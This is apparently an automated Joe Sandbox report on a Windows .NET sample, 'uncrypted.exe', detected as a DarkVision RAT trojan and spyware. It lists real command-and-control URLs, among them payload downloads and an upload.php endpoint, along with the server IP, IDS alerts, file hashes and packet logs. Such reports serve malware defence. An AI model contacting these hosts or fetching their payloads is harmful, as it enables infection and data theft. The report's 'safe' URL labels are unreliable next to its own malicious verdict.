http://jholo.duckdns.org:8181/PASSWORDRECOVERY32EXE.EXEhttp://jholo.duckdns.org:8181/PASSWORDRECOVER	uncrypted.exe, 00000000.00000002.2055171521.0000000003DBC000.00000004.00000800.00020000.00000000.sdmp, uncrypted.exe, 00000000.00000002.2055171521.0000000004175000.00000004.00000800.00020000.00000000.sdmp, uncrypted.exe, 00000000.00000002.2055171521.0000000003F81000.00000004.00000800.00020000.00000000.sdmp, uncrypted.exe, 00000000.00000002.2055171521.00000000040F5000.00000004.00000800.00020000.00000000.sdmp, uncrypted.exe, 00000002.00000002.2041122621.0000000000475000.00000040.00000400.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jholo.duckdns.org:8181/upload.phpcp=	explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jholo.duckdns.org:8181/L	explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jholo.duckdns.org:8181/PASSWORDRECOVERY64EXE.EXE	explorer.exe, explorer.exe, 00000003.00000003.2659390305.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3291325405.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3291451466.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jholo.duckdns.org:8181/l	explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://jholo.duckdns.org:8181/upload.php8	explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
5.89.185.156	jholo.duckdns.org	Italy		30722	VODAFONE-IT-ASNIT	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582630
Start date and time:	2024-12-31 07:32:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	uncrypted.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@7/2@3/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 67 Number of non-executed functions: 327
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.45, 172.202.163.200
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtProtectVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:33:00	API Interceptor	1x Sleep call for process: uncrypted.exe modified
01:33:02	API Interceptor	6x Sleep call for process: explorer.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VODAFONE-IT-ASNIT	kwari.mips.elf	Get hash	malicious	Unknown	Browse	93.150.243.45
	botx.mips.elf	Get hash	malicious	Mirai	Browse	37.178.147.159
	botx.x86.elf	Get hash	malicious	Mirai	Browse	109.119.42.246
	star.ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	5.89.85.231
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	5.95.28.147
	db0fa4b8db0333367e9bda3ab68b8042.spc.elf	Get hash	malicious	Mirai, Gafgyt	Browse	37.118.210.45
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	188.217.53.181
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	93.147.74.169
	nabarm7.elf	Get hash	malicious	Unknown	Browse	91.80.70.20
	splarm5.elf	Get hash	malicious	Unknown	Browse	5.90.45.75

Process:	C:\Users\user\Desktop\uncrypted.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1299
Entropy (8bit):	5.342376182732888
Encrypted:	false
SSDEEP:	24:ML9E4KiE4Kx1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4xLE4qE4j:MxHKiHKx1qHiYHKh3oPtHo6hAHKze0H6
MD5:	15A85EF9F3C51B739D8B32F5D653907F
SHA1:	4B0589739321E819A9D7B2C922D2C7C333C3DC41
SHA-256:	C4ECDB3A724CE069DB7B3473D4690DCB37E74B76A957C64F3D9B5B07655AE544
SHA-512:	E102D29E8B0DE5E0653C42F94FFAFCBEE4100668D8A0AB2A5C845DDC0759E68D86F044887932A93C1AA2520C877CA48DAFE2559A3A592B88DCDAAFE5AEE6C2BC
Malicious:	true
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Temp\DATABASE

Download File

Process:	C:\Windows\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.5752388995368864
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.96% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	uncrypted.exe
File size:	1'028'096 bytes
MD5:	84e8a17e39ef16dce73da924ced012d5
SHA1:	630f2eb6046e05450c10af2a4ae01840e0a19405
SHA256:	bebe3cadd1d51412d055ba11ebc64091c45e2ef47dbcc7135d2d762f26a466c2
SHA512:	637d28f7ecc48a606813301143c440f27a0de999284cad0df6467533a7440ac56cd343b7d99103f3d8bcddf952bfa4794003d8740a7b21090443aafa5fddf24c
SSDEEP:	24576:81sPbvgcpRe4WuI4i2RlQCeUAO9UKEiLzoOZuC:81sPbvgcpRquIJ2XQz09UMLQ
TLSH:	B425233BB31067A6C79983FE5042FA5426C889808F4BBF65C55C62610F7AFA65F0F463
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....meg................................. ........@.. ..............................9 ....@................................

File Icon


Icon Hash:	21059d3565d95f70

Static PE Info

General

Entrypoint:	0x4f11ee
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67656DDC [Fri Dec 20 13:15:08 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xf11a0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf2000	0x1800	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xf4000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x2048	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xef1f4	0xef200	71d1d2af03d1df3f866fc5e02edc6873	False	0.9048104253789859	data	7.563976267050098	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xf2000	0x1800	0x1800	296b3e1a60010510377ece4cf24e4502	False	0.5572916666666666	data	5.686165936068512	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf4000	0xc	0x200	f02121ed18c5741fce985a42fb9e3a8a	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
DeaJ6sQm	0xf6000	0x9f28	0xa000	89d5ab462d6854a0bd9451945e39f511	False	0.8961181640625	data	7.6120194254237985	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xf24f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.6057692307692307
RT_GROUP_ICON	0xf35a0	0x14	data	1.2
RT_VERSION	0xf2130	0x3c4	data	0.39522821576763484
RT_MANIFEST	0xf35b8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-31T07:33:04.802221+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.5	49706	5.89.185.156	8900	TCP
2024-12-31T07:33:13.838339+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.5	49707	5.89.185.156	8900	TCP
2024-12-31T07:33:22.853752+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.5	49720	5.89.185.156	8900	TCP
2024-12-31T07:33:31.892912+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.5	49781	5.89.185.156	8900	TCP
2024-12-31T07:33:40.927898+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.5	49837	5.89.185.156	8900	TCP
2024-12-31T07:33:49.983774+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.5	49898	5.89.185.156	8900	TCP
2024-12-31T07:33:58.994424+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.5	49960	5.89.185.156	8900	TCP
2024-12-31T07:34:08.143325+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.5	49985	5.89.185.156	8900	TCP
2024-12-31T07:34:17.166204+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.5	49986	5.89.185.156	8900	TCP
2024-12-31T07:34:26.197336+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.5	49987	5.89.185.156	8900	TCP
2024-12-31T07:34:35.228839+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.5	49988	5.89.185.156	8900	TCP
2024-12-31T07:34:44.244638+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.5	49989	5.89.185.156	8900	TCP
2024-12-31T07:34:53.025515+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.5	49990	5.89.185.156	8900	TCP
2024-12-31T07:35:01.478246+0100	2045618	ET MALWARE Win32/DarkVision RAT CnC Checkin M1	1	192.168.2.5	49991	5.89.185.156	8900	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 07:33:01.799813032 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:01.804603100 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:01.804697037 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:01.804835081 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:01.809578896 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.471774101 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.471791029 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.471852064 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.471858025 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.471869946 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.471880913 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.471914053 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.471951962 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.471963882 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.471973896 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.471985102 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.472003937 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.472043037 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.473469019 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.473534107 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.476655960 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.476687908 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.476699114 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.476708889 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.476735115 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.476788044 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.581559896 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.581595898 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.581607103 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.581618071 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.581629038 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.581640005 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.581753969 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.581803083 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.581948996 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.581959009 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.582001925 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.583416939 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.583427906 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.583437920 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.583479881 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.583539963 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.583614111 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.583623886 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.583633900 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.583646059 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.583666086 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.583702087 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.585524082 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.585551023 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.585562944 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.585573912 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.585588932 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.585598946 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.585599899 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.585649014 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.585972071 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.587506056 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.587518930 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.587528944 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.587564945 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.587611914 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.691648006 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.691737890 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.691756964 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.691776037 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.691787004 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.691797972 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.691807985 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.691806078 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.691857100 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.693455935 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.693499088 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.693510056 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.693629980 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.693640947 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.693650007 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.693660021 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.693675995 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.693675995 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.693686008 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.693696976 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.693706036 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.693708897 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.693727016 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.693744898 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.695493937 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.695504904 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.695514917 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.695533037 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.695549965 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.695580006 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.695585012 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.695650101 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.695678949 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.695689917 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.695696115 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.695723057 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.696022987 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.696034908 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.696046114 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.696055889 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.696064949 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.696074009 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.696100950 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.696429014 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.696439981 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.696449995 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.696476936 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.696755886 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.696795940 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.696798086 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.696805954 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.696815968 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.696840048 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.697071075 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.697112083 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.697118044 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.697134972 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.697145939 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.697161913 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.697170019 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.697196007 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.697660923 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.697671890 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.697681904 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.697710991 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.697880983 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.697890997 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.697901011 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.697930098 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.697958946 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.698163033 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.698173046 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.698237896 CET	49704	8181	192.168.2.5	5.89.185.156
Dec 31, 2024 07:33:02.698319912 CET	8181	49704	5.89.185.156	192.168.2.5
Dec 31, 2024 07:33:02.698331118 CET	8181	49704	5.89.185.156	192.168.2.5
